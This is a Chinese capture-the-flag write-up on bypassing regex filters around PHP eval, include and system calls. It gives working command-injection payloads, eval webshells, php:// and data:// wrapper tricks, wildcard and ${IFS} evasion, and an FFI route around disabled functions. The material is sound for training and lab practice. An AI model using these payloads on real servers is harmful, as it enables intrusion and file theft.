通配符 ' * ' 占位符' ? '
1.
if(!preg_match("/flag/i", $c)
eval($c);
正则过滤flag字符,过滤大小写
几种绕过:
(1.)/?c=system(“ls”)
/?c=system("tac")
(2.) /?c=eval($_POST[1]); #传个马
(3.) /?c=eval($_GET[1]);&1=phpinfo();
(4.) /?c=echo%20tac%20fla*
; #利用反字节符
在 PHP 中,(反引号)是一个用于执行 shell 命令并返回其输出结果的语法糖。因此,当你在URL 中使用 echo
tac fla*` 时,PHP 将执行 shell 命令 tac fla* 并返回其输出结果。,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。
(5)/?c=system('cp fla* 1.txt');
2.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
eval($c);
}
(1.)只过滤c没过滤别的?c=eval($_GET["b"]);&b=system("tac%20flag.php");
(2.)中国蚁剑传个马
3.
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){
eval($c);
}
采用伪协议绕过
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。
4.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|"/i", $c)){
eval($c);
}
%0a作用,这是url回车符,因为空格被过滤。
5.(eval变成include)
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
采用伪协议
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= base64内容(<?php system('cat flag.php');?>)
6.
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
?c=data://text/plain,<?php%20system("tac%20fla?.php");?>
7.
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $c)){
eval($c);
}
}else{
highlight_file(FILE);
}
思路:异或,取反,无参
8.
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(FILE);
}
命令
介绍
command >filename
把标准输出重定向到新文件中
command 1>filename
同上
command >>filename
把标准输出追加到文件中
command 1>>filename
同上
command 2>filename
把标准错误重定向到新文件中
command 2>>filename
把标准错误追加到新文件中
/dev/null 2>&1 就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
当然%0a和;可以绕过
9.
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(FILE);
}
过滤空格,使用%09(TAB)进行绕过
10.
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(FILE);
}
还有几种绕过空格的方式 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt
flag屏蔽可以用分号 fla''g 反斜杠 fl\ag.txt
末尾使用||(截断符号)绕过
cat命令为查看,当程序禁用cat命令时,可采用以下命令代替:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
11.
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
使用 ?占位符
1.过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
于是,有了payload
?c=/bin/ca?${IFS}????.??? 然后 查看源码
2.mv flag.php t.txt (mv${IFS}fla?.php${IFS}t.txt)
/?c=/bin/?at${IFS}t.txt
12.
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|%|\x09|\x26|>|</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
方法1
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
方法2
没有过滤点
.相当于source 可以执行sh命令
source命令也称为“点命令”,也就是一个点符号(.)。
source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。
一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。
sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!
开淦
在这个之前我们需要构造一个post上传文件的数据包。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"><label for="file">文件名:</label>
<input type="file" name="file" id="file">
创建html,之后网页抓包
构造poc执行命令
?c=.%20/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令
#!/bin/sh
ls
13.
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|[0-9]|`||#|'|"|`|%|\x09|\x26|\x0a|>|<|.|,|?|*|-|=|[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(FILE);
}
通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) )) :对0作取反运算,值为-1
$(( $(($(()))) $(($(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( $(( $(($(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1
故我们在$(( $(( )) ))里面放37个$(($(()))),得到-37,取反即可得到36:
14 post
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(FILE);
}
变为post了
方法一
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
方法二
- 使用此函数,将显示整个文件,其中可能包含敏感数据,例如密码等。
c=show_source("flag.php");
15.
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(FILE);
}
题目相同但是
‘
藏别的目录去了
方法一
c=print_r(scandir("/"));先用scandir列根目录内容,用print_r回显。
也可以用这个c=var_dump(scandir('/'));
之后打印出根目录的falg.txt
http://4d916887-42e9-40de-9f52-90fedc2d079b.challenge.ctf.show/
读取函数readgzfile:可以读取非gz格式的文件
或者c=highlight_file('/flag.txt');
方法二
伪协议
var_dump(scandir('/')); include "php://filter/convert.base64-encode/resource=/flag.txt";
16、
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(FILE);
}
?>
法一
在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
payload示例:
c=include('/flag.txt');ob_flush();
法二
提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
payload示例:
c=include('/flag.txt');exit();
17.
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(FILE);
}
?>
禁用了好多,扫不出来根目录内容了都
开绕
c=var_export(scandir('/'));exit(0); 成功绕过
c=print_r(scandir("/"));exit(0); 被禁用
c=var_dump(scandir('/'));exit(0); 被禁用
c=require_once('/flagc.txt');exit(0);
getflag
伪协议glob
glob://
查找匹配的文件路径模式
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename());
}
于是构造如下payload
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $f) { echo ($f->__toString().' '); } exit(0); ?>__toString()方法;
通过该方法,可以控制输出字符串的格式。该方法应当返回一个字符串值
当把对象传递print或者echo时,会自动调用该方法,
php中“.”是字符运算符,作用是把两个字符串连接起来
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
版权归原作者 Heathclyf 所有, 如有侵权,请联系我们删除。